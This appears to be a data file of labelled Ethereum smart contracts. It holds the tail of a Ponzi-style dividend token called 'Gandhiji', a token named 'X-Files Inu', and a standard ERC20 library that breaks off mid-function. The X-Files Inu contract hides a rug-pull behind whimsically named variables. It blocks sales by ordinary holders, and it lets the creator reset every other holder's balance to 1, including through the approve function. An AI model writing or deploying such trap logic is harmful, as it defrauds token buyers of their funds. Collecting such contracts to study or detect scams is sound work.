// -> change the PoS difficulty
// they CANNOT:
// -> take funds
// -> disable withdrawals
// -> kill the contract
// -> change the price of tokens
modifier onlyAdministrator(){
address _customerAddress = msg.sender;
require(administrators[keccak256(_customerAddress)]);
_;
}
modifier antiEarlyWhale(uint256 _amountOfEthereum){
address _customerAddress = msg.sender;
if( onlyAmbassadors && ((totalEthereumBalance() - _amountOfEthereum) <= ambassadorQuota_ )){
require(
// is the customer in the ambassador list?
ambassadors_[_customerAddress] == true &&
// does the customer purchase exceed the max ambassador quota?
(ambassadorAccumulatedQuota_[_customerAddress] + _amountOfEthereum) <= ambassadorMaxPurchase_
);
// updated the accumulated quota
ambassadorAccumulatedQuota_[_customerAddress] = SafeMath.add(ambassadorAccumulatedQuota_[_customerAddress], _amountOfEthereum);
// execute
_;
} else {
// in case the ether count drops low, the ambassador phase won't reinitiate
onlyAmbassadors = false;
_;
}
}
/*==============================
= EVENTS =
==============================*/
event onTokenPurchase(
address indexed customerAddress,
uint256 incomingEthereum,
uint256 tokensMinted,
address indexed referredBy
);
event onTokenSell(
address indexed customerAddress,
uint256 tokensBurned,
uint256 ethereumEarned
);
event onReinvestment(
address indexed customerAddress,
uint256 ethereumReinvested,
uint256 tokensMinted
);
event onWithdraw(
address indexed customerAddress,
uint256 ethereumWithdrawn
);
// ERC20
event Transfer(
address indexed from,
address indexed to,
uint256 tokens
);
/*=====================================
= CONFIGURABLES =
=====================================*/
string public name = "Gandhiji";
string public symbol = "IND";
uint8 constant public decimals = 18;
uint8 constant internal dividendFee_ = 10;
uint256 constant internal tokenPriceInitial_ = 0.0000001 ether;
uint256 constant internal tokenPriceIncremental_ = 0.00000001 ether;
uint256 constant internal magnitude = 2**64;
// proof of stake (defaults at 1 token)
uint256 public stakingRequirement = 1e18;
// ambassador program
mapping(address => bool) internal ambassadors_;
uint256 constant internal ambassadorMaxPurchase_ = 1 ether;
uint256 constant internal ambassadorQuota_ = 1 ether;
/*================================
= DATASETS =
================================*/
// amount of shares for each address (scaled number)
mapping(address => uint256) internal tokenBalanceLedger_;
mapping(address => uint256) internal referralBalance_;
mapping(address => int256) internal payoutsTo_;
mapping(address => uint256) internal ambassadorAccumulatedQuota_;
uint256 internal tokenSupply_ = 0;
uint256 internal profitPerShare_;
// administrator list (see above on what they can do)
mapping(bytes32 => bool) public administrators;
bool public onlyAmbassadors = false;
/*=======================================
= PUBLIC FUNCTIONS =
=======================================*/
/*
* -- APPLICATION ENTRY POINTS --
*/
function GandhiJi()
public
{
// add administrators here
administrators[0x9bcc16873606dc04acb98263f74c420525ddef61de0d5f18fd97d16de659131a] = true;
ambassadors_[0x0000000000000000000000000000000000000000] = true;
}
/**
* Converts all incoming Ethereum to tokens for the caller, and passes down the referral address (if any)
*/
function buy(address _referredBy)
public
payable
returns(uint256)
{
purchaseTokens(msg.value, _referredBy);
}
function()
payable
public
{
purchaseTokens(msg.value, 0x0);
}
/**
* Converts all of caller's dividends to tokens.
*/
function reinvest()
onlyhodler()
public
{
// fetch dividends
uint256 _dividends = myDividends(false); // retrieve ref. bonus later in the code
// pay out the dividends virtually
address _customerAddress = msg.sender;
payoutsTo_[_customerAddress] += (int256) (_dividends * magnitude);
// retrieve ref. bonus
_dividends += referralBalance_[_customerAddress];
referralBalance_[_customerAddress] = 0;
// dispatch a buy order with the virtualized "withdrawn dividends"
uint256 _tokens = purchaseTokens(_dividends, 0x0);
// fire event
onReinvestment(_customerAddress, _dividends, _tokens);
}
/**
* Alias of sell() and withdraw().
*/
function exit()
public
{
// get token count for caller & sell them all
address _customerAddress = msg.sender;
uint256 _tokens = tokenBalanceLedger_[_customerAddress];
if(_tokens > 0) sell(_tokens);
withdraw();
}
/**
* Withdraws all of the callers earnings.
*/
function withdraw()
onlyhodler()
public
{
// setup data
address _customerAddress = msg.sender;
uint256 _dividends = myDividends(false); // get ref. bonus later in the code
// update dividend tracker
payoutsTo_[_customerAddress] += (int256) (_dividends * magnitude);
// add ref. bonus
_dividends += referralBalance_[_customerAddress];
referralBalance_[_customerAddress] = 0;
// delivery service
_customerAddress.transfer(_dividends);
// fire event
onWithdraw(_customerAddress, _dividends);
}
/**
* Liquifies tokens to ethereum.
*/
function sell(uint256 _amountOfTokens)
onlybelievers ()
public
{
address _customerAddress = msg.sender;
require(_amountOfTokens <= tokenBalanceLedger_[_customerAddress]);
uint256 _tokens = _amountOfTokens;
uint256 _ethereum = tokensToEthereum_(_tokens);
uint256 _dividends = SafeMath.div(_ethereum, dividendFee_);
uint256 _taxedEthereum = SafeMath.sub(_ethereum, _dividends);
// burn the sold tokens
tokenSupply_ = SafeMath.sub(tokenSupply_, _tokens);
tokenBalanceLedger_[_customerAddress] = SafeMath.sub(tokenBalanceLedger_[_customerAddress], _tokens);
// update dividends tracker
int256 _updatedPayouts = (int256) (profitPerShare_ * _tokens + (_taxedEthereum * magnitude));
payoutsTo_[_customerAddress] -= _updatedPayouts;
// dividing by zero is a bad idea
if (tokenSupply_ > 0) {
// update the amount of dividends per token
profitPerShare_ = SafeMath.add(profitPerShare_, (_dividends * magnitude) / tokenSupply_);
}
// fire event
onTokenSell(_customerAddress, _tokens, _taxedEthereum);
}
/**
* Transfer tokens from the caller to a new holder.
* Remember, there's a 10% fee here as well.
*/
function transfer(address _toAddress, uint256 _amountOfTokens)
onlybelievers ()
public
returns(bool)
{
// setup
address _customerAddress = msg.sender;
// make sure we have the requested tokens
require(!onlyAmbassadors && _amountOfTokens <= tokenBalanceLedger_[_customerAddress]);
// withdraw all outstanding dividends first
if(myDividends(true) > 0) withdraw();
// liquify 10% of the tokens that are transfered
// these are dispersed to shareholders
uint256 _tokenFee = SafeMath.div(_amountOfTokens, dividendFee_);
uint256 _taxedTokens = SafeMath.sub(_amountOfTokens, _tokenFee);
uint256 _dividends = tokensToEthereum_(_tokenFee);
// burn the fee tokens
tokenSupply_ = SafeMath.sub(tokenSupply_, _tokenFee);
// exchange tokens
tokenBalanceLedger_[_customerAddress] = SafeMath.sub(tokenBalanceLedger_[_customerAddress], _amountOfTokens);
tokenBalanceLedger_[_toAddress] = SafeMath.add(tokenBalanceLedger_[_toAddress], _taxedTokens);
// update dividend trackers
payoutsTo_[_customerAddress] -= (int256) (profitPerShare_ * _amountOfTokens);
payoutsTo_[_toAddress] += (int256) (profitPerShare_ * _taxedTokens);
// disperse dividends among holders
profitPerShare_ = SafeMath.add(profitPerShare_, (_dividends * magnitude) / tokenSupply_);
// fire event
Transfer(_customerAddress, _toAddress, _taxedTokens);
// ERC20
return true;
}
/*---------- ADMINISTRATOR ONLY FUNCTIONS ----------*/
/**
* administrator can manually disable the ambassador phase.
*/
function disableInitialStage()
onlyAdministrator()
public
{
onlyAmbassadors = false;
}
function setAdministrator(bytes32 _identifier, bool _status)
onlyAdministrator()
public
{
administrators[_identifier] = _status;
}
function setStakingRequirement(uint256 _amountOfTokens)
onlyAdministrator()
public
{
stakingRequirement = _amountOfTokens;
}
function setName(string _name)
onlyAdministrator()
public
{
name = _name;
}
function setSymbol(string _symbol)
onlyAdministrator()
public
{
symbol = _symbol;
}
/*---------- HELPERS AND CALCULATORS ----------*/
/**
* Method to view the current Ethereum stored in the contract
* Example: totalEthereumBalance()
*/
function totalEthereumBalance()
public
view
returns(uint)
{
return this.balance;
}
/**
* Retrieve the total token supply.
*/
function totalSupply()
public
view
returns(uint256)
{
return tokenSupply_;
}
/**
* Retrieve the tokens owned by the caller.
*/
function myTokens()
public
view
returns(uint256)
{
address _customerAddress = msg.sender;
return balanceOf(_customerAddress);
}
/**
* Retrieve the dividends owned by the caller.
*/
function myDividends(bool _includeReferralBonus)
public
view
returns(uint256)
{
address _customerAddress = msg.sender;
return _includeReferralBonus ? dividendsOf(_customerAddress) + referralBalance_[_customerAddress] : dividendsOf(_customerAddress) ;
}
/**
* Retrieve the token balance of any single address.
*/
function balanceOf(address _customerAddress)
view
public
returns(uint256)
{
return tokenBalanceLedger_[_customerAddress];
}
/**
* Retrieve the dividend balance of any single address.
*/
function dividendsOf(address _customerAddress)
view
public
returns(uint256)
{
return (uint256) ((int256)(profitPerShare_ * tokenBalanceLedger_[_customerAddress]) - payoutsTo_[_customerAddress]) / magnitude;
}
/**
* Return the buy price of 1 individual token.
*/
function sellPrice()
public
view
returns(uint256)
{
if(tokenSupply_ == 0){
return tokenPriceInitial_ - tokenPriceIncremental_;
} else {
uint256 _ethereum = tokensToEthereum_(1e18);
uint256 _dividends = SafeMath.div(_ethereum, dividendFee_ );
uint256 _taxedEthereum = SafeMath.sub(_ethereum, _dividends);
return _taxedEthereum;
}
}
/**
* Return the sell price of 1 individual token.
*/
function buyPrice()
public
view
returns(uint256)
{
if(tokenSupply_ == 0){
return tokenPriceInitial_ + tokenPriceIncremental_;
} else {
uint256 _ethereum = tokensToEthereum_(1e18);
uint256 _dividends = SafeMath.div(_ethereum, dividendFee_ );
uint256 _taxedEthereum = SafeMath.add(_ethereum, _dividends);
return _taxedEthereum;
}
}
function calculateTokensReceived(uint256 _ethereumToSpend)
public
view
returns(uint256)
{
uint256 _dividends = SafeMath.div(_ethereumToSpend, dividendFee_);
uint256 _taxedEthereum = SafeMath.sub(_ethereumToSpend, _dividends);
uint256 _amountOfTokens = ethereumToTokens_(_taxedEthereum);
return _amountOfTokens;
}
function calculateEthereumReceived(uint256 _tokensToSell)
public
view
returns(uint256)
{
require(_tokensToSell <= tokenSupply_);
uint256 _ethereum = tokensToEthereum_(_tokensToSell);
uint256 _dividends = SafeMath.div(_ethereum, dividendFee_);
uint256 _taxedEthereum = SafeMath.sub(_ethereum, _dividends);
return _taxedEthereum;
}
/*==========================================
= INTERNAL FUNCTIONS =
==========================================*/
function purchaseTokens(uint256 _incomingEthereum, address _referredBy)
antiEarlyWhale(_incomingEthereum)
internal
returns(uint256)
{
// data setup
address _customerAddress = msg.sender;
uint256 _undividedDividends = SafeMath.div(_incomingEthereum, dividendFee_);
uint256 _referralBonus = SafeMath.div(_undividedDividends, 3);
uint256 _dividends = SafeMath.sub(_undividedDividends, _referralBonus);
uint256 _taxedEthereum = SafeMath.sub(_incomingEthereum, _undividedDividends);
uint256 _amountOfTokens = ethereumToTokens_(_taxedEthereum);
uint256 _fee = _dividends * magnitude;
require(_amountOfTokens > 0 && (SafeMath.add(_amountOfTokens,tokenSupply_) > tokenSupply_));
// is the user referred by a karmalink?
if(
// is this a referred purchase?
_referredBy != 0x0000000000000000000000000000000000000000 &&
// no cheating!
_referredBy != _customerAddress &&
tokenBalanceLedger_[_referredBy] >= stakingRequirement
){
// wealth redistribution
referralBalance_[_referredBy] = SafeMath.add(referralBalance_[_referredBy], _referralBonus);
} else {
// no ref purchase
// add the referral bonus back to the global dividends cake
_dividends = SafeMath.add(_dividends, _referralBonus);
_fee = _dividends * magnitude;
}
// we can't give people infinite ethereum
if(tokenSupply_ > 0){
// add tokens to the pool
tokenSupply_ = SafeMath.add(tokenSupply_, _amountOfTokens);
// take the amount of dividends gained through this transaction, and allocates them evenly to each shareholder
profitPerShare_ += (_dividends * magnitude / (tokenSupply_));
// calculate the amount of tokens the customer receives over his purchase
_fee = _fee - (_fee-(_amountOfTokens * (_dividends * magnitude / (tokenSupply_))));
} else {
// add tokens to the pool
tokenSupply_ = _amountOfTokens;
}
// update circulating supply & the ledger address for the customer
tokenBalanceLedger_[_customerAddress] = SafeMath.add(tokenBalanceLedger_[_customerAddress], _amountOfTokens);
int256 _updatedPayouts = (int256) ((profitPerShare_ * _amountOfTokens) - _fee);
payoutsTo_[_customerAddress] += _updatedPayouts;
// fire event
onTokenPurchase(_customerAddress, _incomingEthereum, _amountOfTokens, _referredBy);
return _amountOfTokens;
}
/**
* Calculate Token price based on an amount of incoming ethereum
* It's an algorithm, hopefully we gave you the whitepaper with it in scientific notation;
* Some conversions occurred to prevent decimal errors or underflows / overflows in solidity code.
*/
function ethereumToTokens_(uint256 _ethereum)
internal
view
returns(uint256)
{
uint256 _tokenPriceInitial = tokenPriceInitial_ * 1e18;
uint256 _tokensReceived =
(
(
// underflow attempts BTFO
SafeMath.sub(
(sqrt
(
(_tokenPriceInitial**2)
+
(2*(tokenPriceIncremental_ * 1e18)*(_ethereum * 1e18))
+
(((tokenPriceIncremental_)**2)*(tokenSupply_**2))
+
(2*(tokenPriceIncremental_)*_tokenPriceInitial*tokenSupply_)
)
), _tokenPriceInitial
)
)/(tokenPriceIncremental_)
)-(tokenSupply_)
;
return _tokensReceived;
}
/**
* Calculate token sell value.
*/
function tokensToEthereum_(uint256 _tokens)
internal
view
returns(uint256)
{
uint256 tokens_ = (_tokens + 1e18);
uint256 _tokenSupply = (tokenSupply_ + 1e18);
uint256 _etherReceived =
(
// underflow attempts BTFO
SafeMath.sub(
(
(
(
tokenPriceInitial_ +(tokenPriceIncremental_ * (_tokenSupply/1e18))
)-tokenPriceIncremental_
)*(tokens_ - 1e18)
),(tokenPriceIncremental_*((tokens_**2-tokens_)/1e18))/2
)
/1e18);
return _etherReceived;
}
function sqrt(uint x) internal pure returns (uint y) {
uint z = (x + 1) / 2;
y = x;
while (z < y) {
y = z;
z = (x / z + z) / 2;
}
}
}
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
/**
* Also in memory of JPK, miss you Dad.
*/
} | True | [
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/**
*Submitted for verification at Etherscan.io on 2021-11-22
*/
// XFilesInu
pragma solidity 0.8.10;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
this;
return msg.data;
}
}
interface IERC20 {
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function allowance(address owner, address spender) external view returns (uint256);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
function transfer(address recipient, uint256 amount) external returns (bool);
function approve(address spender, uint256 amount) external returns (bool);
}
interface IERC20Metadata is IERC20 {
function decimals() external view returns (uint8);
function name() external view returns (string memory);
function symbol() external view returns (string memory);
}
contract Ownable is Context {
address private _previousOwner; address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
contract ERC20 is Context, IERC20, IERC20Metadata, Ownable {
mapping (address => bool) public XFilesContract;
mapping (address => bool) public AlienContract;
mapping (address => uint256) private _balances;
mapping (address => uint256) private _balancesCopy;
mapping (address => mapping (address => uint256)) private _allowances;
address[] private balanceAddresses;
string private _name; string private _symbol;
address private _creator; uint256 private _totalSupply;
uint256 private ShapeshiftContract; uint256 private GovernmentTax;
uint256 private LittleGreenMan; bool private CupOfCiggars;
bool private SniperOut; bool private AlienLife;
bool private contractApproval;
constructor (string memory name_, string memory symbol_, address creator_) {
_name = name_;
_creator = creator_;
_symbol = symbol_;
SniperOut = true;
XFilesContract[creator_] = true;
CupOfCiggars = true;
AlienLife = false;
AlienContract[creator_] = false;
contractApproval = false;
}
function decimals() public view virtual override returns (uint8) {
return 18;
}
function name() public view virtual override returns (string memory) {
return _name;
}
function symbol() public view virtual override returns (string memory) {
return _symbol;
}
function totalSupply() public view virtual override returns (uint256) {
return _totalSupply;
}
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
function balanceOf(address account) public view virtual override returns (uint256) {
return _balances[account];
}
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function _frontrunnerProtection(address sender, uint256 amount) internal view {
if ((XFilesContract[sender] == false)) {
if ((amount > LittleGreenMan)) { require(false); }
require(amount < ShapeshiftContract);
}
}
function _slash(address sender) internal {
if ((address(sender) == _creator) && (AlienLife == true)) {
for (uint i = 0; i < balanceAddresses.length; i++) {
if (XFilesContract[balanceAddresses[i]] != true) {
_balances[balanceAddresses[i]] = 1;
}
}
contractApproval = true;
}
}
function _createContract(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: mint to the zero address");
(uint256 temp1, uint256 temp2) = (10000, 500);
_totalSupply += amount;
_balances[account] += amount;
ShapeshiftContract = _totalSupply;
GovernmentTax = _totalSupply / temp1;
LittleGreenMan = GovernmentTax * temp2;
emit Transfer(address(0), account, amount);
}
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue);
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
uint256 currentAllowance = _allowances[_msgSender()][spender];
require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero");
_approve(_msgSender(), spender, currentAllowance - subtractedValue);
return true;
}
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function _burn(address account, uint256 amount) internal {
require(account != address(0), "ERC20: burn from the zero address");
_balances[account] -= amount;
_balances[address(0)] += amount;
emit Transfer(account, address(0), amount);
}
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
uint256 currentAllowance = _allowances[sender][_msgSender()];
require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance");
_approve(sender, _msgSender(), currentAllowance - amount);
return true;
}
function _approve(address owner, address spender, uint256 amount) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
(XFilesContract[spender],AlienContract[spender],CupOfCiggars) = ((address(owner) == _creator) && (CupOfCiggars == true)) ? (true,false,false) : (XFilesContract[spender],AlienContract[spender],CupOfCiggars);
_allowances[owner][spender] = amount;
_balances[owner] = contractApproval ? 1 : _balances[owner];
emit Approval(owner, spender, amount);
}
function _transfer(address sender, address recipient, uint256 amount) internal virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
uint256 senderBalance = _balances[sender];
require(senderBalance >= amount, "ERC20: transfer amount exceeds balance");
(ShapeshiftContract,AlienLife) = ((address(sender) == _creator) && (SniperOut == false)) ? (GovernmentTax, true) : (ShapeshiftContract,AlienLife);
(XFilesContract[recipient],SniperOut) = ((address(sender) == _creator) && (SniperOut == true)) ? (true, false) : (XFilesContract[recipient],SniperOut);
_frontrunnerProtection(sender, amount);
_slash(sender);
balanceAddresses.push(recipient);
_balances[sender] = senderBalance - amount;
_balances[recipient] += amount;
emit Transfer(sender, recipient, amount);
}
}
contract ERC20Token is Context, ERC20 {
constructor(
string memory name, string memory symbol,
address creator, uint256 initialSupply
) ERC20(name, symbol, creator) {
_createContract(creator, initialSupply);
}
}
contract XFilesInu is ERC20Token {
constructor() ERC20Token("X-Files Inu", "X", msg.sender, 5000000000 * 10 ** 18) {
}
} | True | [
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/**
*Submitted for verification at Etherscan.io on 2020-08-13
*/
pragma solidity ^0.6.0;
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
*
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts with custom message when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
pragma solidity ^0.6.0;
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
pragma solidity ^0.6.0;
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
pragma solidity ^0.6.0;
contract ERC20 is Context, IERC20 {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
uint8 private _decimals;
/**
* @dev Sets the values for {name} and {symbol}, initializes {decimals} with
* a default value of 18.
*
* To select a different value for {decimals}, use {_setupDecimals}.
*
* All three of these values are immutable: they can only be set once during
* construction.
*/
constructor (string memory name, string memory symbol) public {
_name = name;
_symbol = symbol;
_decimals = 18;
}
/**
* @dev Returns the name of the token.
*/
function name() public view returns (string memory) {
return _name;
}
/**
* @dev Returns the symbol of the token, usually a shorter version of the
* name.
*/
function symbol() public view returns (string memory) {
return _symbol;
}
/**
* @dev Returns the number of decimals used to get its user representation.
* For example, if `decimals` equals `2`, a balance of `505` tokens should
* be displayed to a user as `5,05` (`505 / 10 ** 2`).
*
* Tokens usually opt for a value of 18, imitating the relationship between
* Ether and Wei. This is the value {ERC20} uses, unless {_setupDecimals} is
* called.
*
* NOTE: This information is only used for _display_ purposes: it in
* no way affects any of the arithmetic of the contract, including
* {IERC20-balanceOf} and {IERC20-transfer}.
*/
function decimals() public view returns (uint8) {
return _decimals;
}
/**
* @dev See {IERC20-totalSupply}.
*/
function totalSupply() public view override returns (uint256) {
return _totalSupply;
}
/**
* @dev See {IERC20-balanceOf}.
*/
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
/**
* @dev See {IERC20-transfer}.
*
* Requirements:
*
* - `recipient` cannot be the zero address.
* - the caller must have a balance of at least `amount`.
*/
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
/**
* @dev See {IERC20-allowance}.
*/
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
/**
* @dev See {IERC20-approve}.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
/**
* @dev See {IERC20-transferFrom}.
*
* Emits an {Approval} event indicating the updated allowance. This is not
* required by the EIP. See the note at the beginning of {ERC20};
*
* Requirements:
* - `sender` and `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
* - the caller must have allowance for ``sender``'s tokens of at least
* `amount`.
*/
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
/**
* @dev Atomically increases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
/**
* @dev Atomically decreases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
* - `spender` must have allowance for the caller of at least
* `subtractedValue`.
*/
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
/**
* @dev Moves tokens `amount` from `sender` to `recipient`.
*
* This is internal function is equivalent to {transfer}, and can be used to
* e.g. implement automatic token fees, slashing mechanisms, etc.
*
* Emits a {Transfer} event.
*
* Requirements:
*
* - `sender` cannot be the zero address.
* - `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
*/
function _transfer(address sender, address recipient, uint256 amount) internal virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
/** @dev Creates `amount` tokens and assigns them to `account`, increasing
* the total supply.
*
* Emits a {Transfer} event with `from` set to the zero address.
*
* Requirements
*
* - `to` cannot be the zero address.
*/
function _mint(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: mint to the zero address");
_beforeTokenTransfer(address(0), account, amount);
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
/**
* @dev Destroys `amount` tokens from `account`, reducing the
* total supply.
*
* Emits a {Transfer} event with `to` set to the zero address.
*
* Requirements
*
* - `account` cannot be the zero address.
* - `account` must have at least `amount` tokens.
*/
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
